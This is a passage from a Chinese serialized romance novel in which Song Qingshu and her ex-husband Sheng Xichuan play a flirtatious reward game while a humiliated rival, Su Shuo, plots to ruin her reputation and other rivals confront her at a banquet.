最终,盛熙川忍不住了。
“宋清殊,要不你倒扣我一朵小红花吧。”他语气可谓自暴自弃。
宋清殊装傻:“为什么?”
盛熙川用行动回答她。
下一秒,她的手被捉过去,落在盛熙川掌心。
“我想牵手。”盛熙川干巴巴地说。
宋清殊想笑,过去貌似没觉得盛熙川这么幼稚啊。
他们在一起的时候,他大多数时候都很高冷,少部分时候有些毒舌,但像现在这种骚操作的时候很少,应该说几乎没有。
“那就签五分钟的吧,”宋清殊故作深沉,“原本,你没有跟温世誉当着我的面起冲突,就要再奖励一朵小红花的,现在抵消了。”
盛熙川露出遗憾表情:“居然只能抵5分钟吗?”
宋清殊:“ 5分钟还不行?原本说的不是10朵小红花才牵手的?”
盛熙川:“错,当时明明说的是集齐10朵可以接吻。”
宋清殊错愕转头:“是吗?”
她觉得盛熙川在诓她。
盛熙川无语:“想耍赖是不是?要不要情景还原一下?”
宋清殊撇嘴:“不用,这次我相信你。”
盛熙川:“但你不能因为我提醒了你,就把得小红花的难度提高。”
宋清殊:“开玩笑,我是那么斤斤计较的人吗?”
盛熙川:“反正如果这个月集不齐,我贷款也要接吻的。”
宋清殊:???
听听这是人话吗?
贷款接吻,闻所未闻。
两人牵着手一路走,早已经过了五分钟,但一直到车上也没放开。
回到小区后,盛熙川照例先把宋清殊送回家,自己再上楼。
宋清殊意识到一件事:“你现在都不回别墅那边住了吗?”
盛熙川坦诚:“等把老婆追到手再一起回。”
宋清殊:“……所以现在别墅的佣人们就全职照顾猫狗吗?”
那边保姆厨子园丁门卫,加起来有几十个人,结果盛熙川一个人住在这边,那些人留在别墅。
除了照顾奶牛猫小宝,哦,不对,现在叫相思,和田园犬苏黄,宋清殊实在想不出他们还有什么用途。
盛熙川:“对,但我准备把苏黄接到这边来了,珍珠跟我说,感觉苏黄已经没有多长时间了。”
对于珍珠的“特异功能”,两人一直是宁可信其有不可信其无的。
“带来吧。”宋清殊说,“你要没空陪它的时候,也可以让珍珠和芝姐雪姐帮忙。”
两人聊了几句,彼此说了再见。
宋清殊回去后,自然又被珍珠好一通盘问。
她习以为常,敷衍了几句,才洗漱躺下。
盛熙川好像有超能力一样,在她躺下的一分钟内发了消息过来。
【想你了】
简单直接,言简意赅。
宋清殊服了他,想起他得知自己差点得到一朵小红花,又被倒扣的无奈,笑回:【你还是想想怎么快点得到10朵小红花吧】
盛熙川:【那还是希望宋老师能放放水】
接着配了一个珍珠的【可怜巴巴】表情。
心机男,拿准了宋清殊看珍珠的照片会心软。
宋清殊心想,却还是忍不住勾起了唇角:【好学生都是靠自己努力,哪有靠老师放水的?】
盛熙川随手又是一个珍珠【可怜巴巴】表情包:【不放水,划重点总可以吧?比如,宋老师可以告诉我,我每天总给你发消息,是加分项还是减分项?】
宋清殊竟然认真想了想:【算是加分项吧,我有空的话也会回,但希望我忙起来不回的话,你也不要生气】
【对了,不乱生气是加分项哦】
表情包,珍珠【眨眼】
盛熙川马上找到了台阶:【那如果我能一直坚持不失联不失联,是不是也该额外多得一朵小红花?】
居然在这儿等着。
宋清殊有被他幼稚到。
她答:【只能说看心情吧。】
盛熙川又甩了个珍珠【假哭】表情包过来。
两人又扯了几句,宋清殊打起了瞌睡。
【困了,晚安】她说。
这次,盛熙川回的语音。
3秒钟。
宋清殊点开,听到了一声【晚安】,和一个响亮的“Mua!”
她耳根发热,迅速把手机扔在一边。
可过了一会儿,宋清殊又把手机摸起来。
她看和盛熙川的聊天记录,每句话都反复看,来回看。
……
硕东的专利事件,成了一个大大的笑话。
对苏家来说,成笑话,已经是两害取其轻。
再怎么样,也总比这么多年的基业毁于一旦要强。
可有些人不这么想。
苏硕因为这件事,到手的实权又被要了回去,简直是受了奇耻大辱,要一蹶不振了。
他被苏进廉打了一顿,在家关了半个月,之后才重获自由。
重获自由后,苏硕开始去酒吧夜夜买醉。
第331章 仇恨
苏硕从小到大都没有受过这样的屈辱,在宋清殊这里,是第一次。
这个女人不仅挫了他的锐气,还害他把这么多年苦苦求来的权利拱手让给了苏东。
他恨,他不甘心。
与此同时,他也觉得可笑。
要不是盛熙川出手,老家伙又怎么可能害怕?说到底,她宋清殊嘴上说得再冠冕堂皇,装得再清高,不也是靠男人吗?
这种靠男人爬到高位的女人他见多了。
哪个不是在男人面前乖顺地低下头去?
但宋清殊这种,既当婊子又立牌坊,一边靠男人,一边又在其他男人面前耀武扬威的,是他见的第一个。
他不服气!
早晚有一天,宋清殊要落到他手里,到那时候,他要撕碎这个女人的面具,把她最不堪的一面暴露出来,让全世界知道。
苏硕正是失意的时候,酒越喝越多,周围也没有人敢劝。
起初还有几个狐朋狗友陪他,到后来,夜越来越深,那几个人有的钓到了合适的“鱼”,和美女共度良宵去了,也有的撑不住,不想喝了。
苏硕一气之下,把人剩下的人也都赶走。
而他如前几个晚上一样,醉倒在酒吧的卡座上。
此时,已经到了凌晨,一抹靓丽的紫色身影穿过人群,挪到他身边来。
苏硕朦胧的醉眼已经有些睁不开,他看面前的人就是一团雾。
“有事?”
那女人对他笑,让服务生端了杯柠檬水给他。
“苏少一个人在这里买醉有什么意思?这口窝囊气不出,怕是这辈子都不痛快吧?”
苏硕错愕:“你知道我?”
女人笑得魅惑:“何止,我还知道,苏少在宋清殊那里栽了大跟头。”
听到这个名字,苏硕登时清醒了几分。
“宋清殊。”他咬牙切齿,“她必须死。”
“弄死她不现实,想坏她的名声,苏少还没办法吗?”那女人缓缓道。
“你有办法?”苏硕将信将疑。
“当然。”那女人也不避嫌,直接伸手,从他口袋里掏出了他的手机,又用他的脸解了锁,输了自己的号码。
“苏少酒醒了打给我,你想要做的,我来帮你。”
她拍拍苏硕的肩,跟来时一样,袅袅婷婷地走了。
苏硕睡死过去。
……
拿到那个专利后,陆氏又顺利推进了几个项目,如今,陆氏的发展在上京如日中天,虽说不如盛世集团,可竟然已经不是其他几个家族能比的。
如今,第二梯队的四大家族:楼、莫、陆、宋,楼家求稳,不争不抢;莫家把生意做到了北欧,基本上已经不在国内发展,前阵子连上京的总部都撤了;宋家成了空壳子;反而陆氏势头最猛,宋清殊接手的这半年,简直称得上扶摇直上了。
去年陆先生去世,所有人都不看好陆氏,都觉得会被陆家二叔三叔瓜分,不少人把手里的股票都卖了。
看到如今的场景,一个个后悔得直拍大腿。
当然也不乏诟病宋清殊的。
说什么的都有,苏硕等人背后说宋清殊的那些话,不过是冰山一角。
有说陆夫人的——
“她就是傻。
真不知道这生意是给陆家干的,还是给宋家干的,宁愿把实权给宋清殊也不给陆家二叔三叔。
现在看着宋清殊把陆氏打理的风生水起,可她到底姓宋,哪天倒戈了,哭都没地方哭去。
现在好是好,等她亲儿子长大了,少不了又要争权,宋清殊那么精明,能争回来?”
也有说宋清殊的——
“宋清殊有什么真本事?不过就是长得好,又会说话。把前夫钓得跟个翘嘴似的,鞍前马后。要是没有盛世集团这个大树,谁管陆氏死活?”
连带着也有说盛熙川的——
“好好的人跟被夺舍似的,怎么就迷宋清殊迷成那样?又有钱又有势力,什么样的老婆找不到?偏偏在一棵树上吊死,这棵树还不怎么给他好脸色。”
这些话宋清殊就当笑话看,有时候还会跟陆夫人说。
陆夫人看得很开:“等展展长大了,我会给他一部分原始股,但大头还是你的,毕竟要是没有你,陆氏也不会有今天。”
宋清殊自然不会接受,她义正辞严:“干妈,您要这样说,我这条命都是您给的,没有您我也没有今天。”
陆夫人:“干妈不是跟你客套,是说真的。在干妈眼里,你是干妈的第一个孩子,真到干妈老了分家产的时候,你也理应拿大头。”
宋清殊心头感激,也知道陆夫人不是说好听的话哄她。
但陆夫人越是这样,她越不可能要陆家的家业。
她只求把眼前的这几年做好,之后顺顺利利的将陆氏交到陆展手中。
自己也功成身退,去做自己的事业。
和硕东的那个“小摩擦”过后,如宋清殊所料,苏东正式入驻硕东。
宋清殊没看错,苏东的确更懂人情练达,也比苏硕社会化程度更高。
跟苏东比起来,苏硕像是智力没有进化好一样。
苏东在拿到任命书后,办酒会答谢,第一时间便托人给宋清殊递了请柬。
宋清殊没去,但托人送了礼物。
苏东也有来有回,送了个半米多长的玉如意摆件给她,诚意十足。
至于苏硕的近况,宋清殊自然也听说了。
但她并没有太放在心上。
苏硕的困境不是因为她,而是因为他自己的傲慢,这个锅,她自然不会背。
她忙着工作育儿之余,还要跟盛熙川“恋爱试运营”,听了一耳朵后,便把苏硕的事抛到了九霄云外去。
她之所以这么淡定,还因为知道盛熙川一直在派人保护她,这些人她也不知道什么时候开始在的,也许是出了廖绮的事后?也许更早。
她也劝过盛熙川,毕竟自己只是个普通人,根本到不了出门需要保镖暗中保护的地步。
但盛熙川不过嘴上答应着,实则依然我行我素,根本不听。
再说,他还有新的理由:我保护我女儿,宋璨小朋友是盛家的独生女,这么金贵,没有保镖怎么行?
到后来,她便也懒得提了。
当然,这些保镖也给了宋清殊一定的便利。
有好几次她带着珍珠遛弯,遇到莫名其妙的搭讪者,都是被保镖拦下的。
简而言之,宋清殊没有把苏硕放在眼里。
再遇上他,是参加一个合作伙伴儿子的归国宴。
第332章 复仇者联盟
这位合作伙伴跟陆氏合作多年,这样的应酬,原本是陆夫人要亲自去的。
但宋清殊风头正盛,那边话里话外想跟宋清殊认识一下,陆夫人也不想托大,便跟宋清殊商量,带她一起过去捧场。
宋清殊自然是没有二话。
那天,她带了礼物和陆夫人一同去了。
宴会很热闹,偌大的宴会厅人头攒动。
那位公子回来要拓展人脉,几乎邀请了上京大半的生意人。
宋清殊早已习惯了这样的场面,跟在陆夫人身边同主家应酬后,又迅速被人群围了起来。
不少人给她塞名片,自我介绍,表达了跟陆氏合作的意愿。
宋清殊客气寒暄,酒也喝了几杯,说话滴水不漏。
起初她还和陆夫人一起,后来,陆夫人被主家的夫人叫去家里看藏品,她便落了单。
不知怎么,总觉得有一束凉飕飕的目光从斜对面的方向打过来,宋清殊一抬眼,便在人群里看到了苏硕。
他看见宋清殊,扯了扯唇角,别过脸去。
宋清殊坦坦荡荡,权当没看见。
宴会进行到中途,宋清殊难得获得了一点清静,端着个盘子吃自助餐。
正想发微信问问陆夫人什么时候回来,刚掏出手机,肩膀便被人拍了一下。
她扭头去看,一个陌生面孔。
那人肆无忌惮地打量她,唇角勾起。
宋清殊不认识他,眼神防备。
“宋小姐,久仰大名。”
许是见她不苟言笑,那人很快道:“别紧张,我不是坏人。我叫姜俊逸,你或许没听说过我,但上京沈家,沈老爷子是我外祖父。”
沈济臣的表兄弟,能是什么好东西?
宋清殊心里厌恶,面上冷冰冰:“你好。”
打过招呼,他就要离开。
谁知,姜俊逸直接挡住她的路。
“我看就你一个人来的,形单影只多没意思,不如过去跟我们一起。”
顺着他的视线看过去,几米外的一张大桌旁,坐了一群男男女女。
巧了,沈济臣在,苏硕也在。
宋清殊脑子里闪过“乌合之众”四个字,难掩不屑表情。
“不了,多谢好意。”她说。
见姜俊逸不动,冷冷道:“让开。”
公众场合,那么多人,那么多双眼看着,谅他也不敢怎么样。
果然,见宋清殊不买账,姜俊逸尴尬地摸摸鼻子,不得不往旁边闪了闪。
“难怪都说宋小姐清高,好大的架子,是不是除了盛熙川,谁都入不了你的眼?”
宋清殊:“这事儿姜少知道就好,难不成姜少还觉得自己能跟盛熙川比一比了?”
姜俊逸实在没想到宋清殊长得柔柔弱弱,骨子里是这么个软硬不吃的,他惊讶于她的敢说。
“宋小姐,说起来,盛熙川和沈家的恩怨,还都是因你而起呢。”
宋清殊:“所以,你们不敢找盛熙川的麻烦,看我落单,要联合起来欺负我?”
复仇者联盟?
姜俊逸:“话不能这么说,宋小姐。事情因你而起,自然要由你化解。咱们喝杯酒,所有恩怨一笔勾销,怎么样?”
宋清殊不为所动:“我要是喝了,我们之间的恩怨还正式开始。”
姜俊逸还要说什么,宋清殊已经走开,一个眼神都没给他。
宋清殊给陆夫人发微信,陆夫人说,自己在主家的藏馆参观,估计还要过一会儿才回。
反正也应酬的差不多了,她可以先回去。
宋清殊回复【好】,准备先离场。
正门那边不少人围着主家的公子哥儿聊天,一片欢声笑语。
宋清殊走后门。
酒店后门是一片草坪,有户外餐厅。
她从大片的遮阳伞下穿出去,又被拦了去路。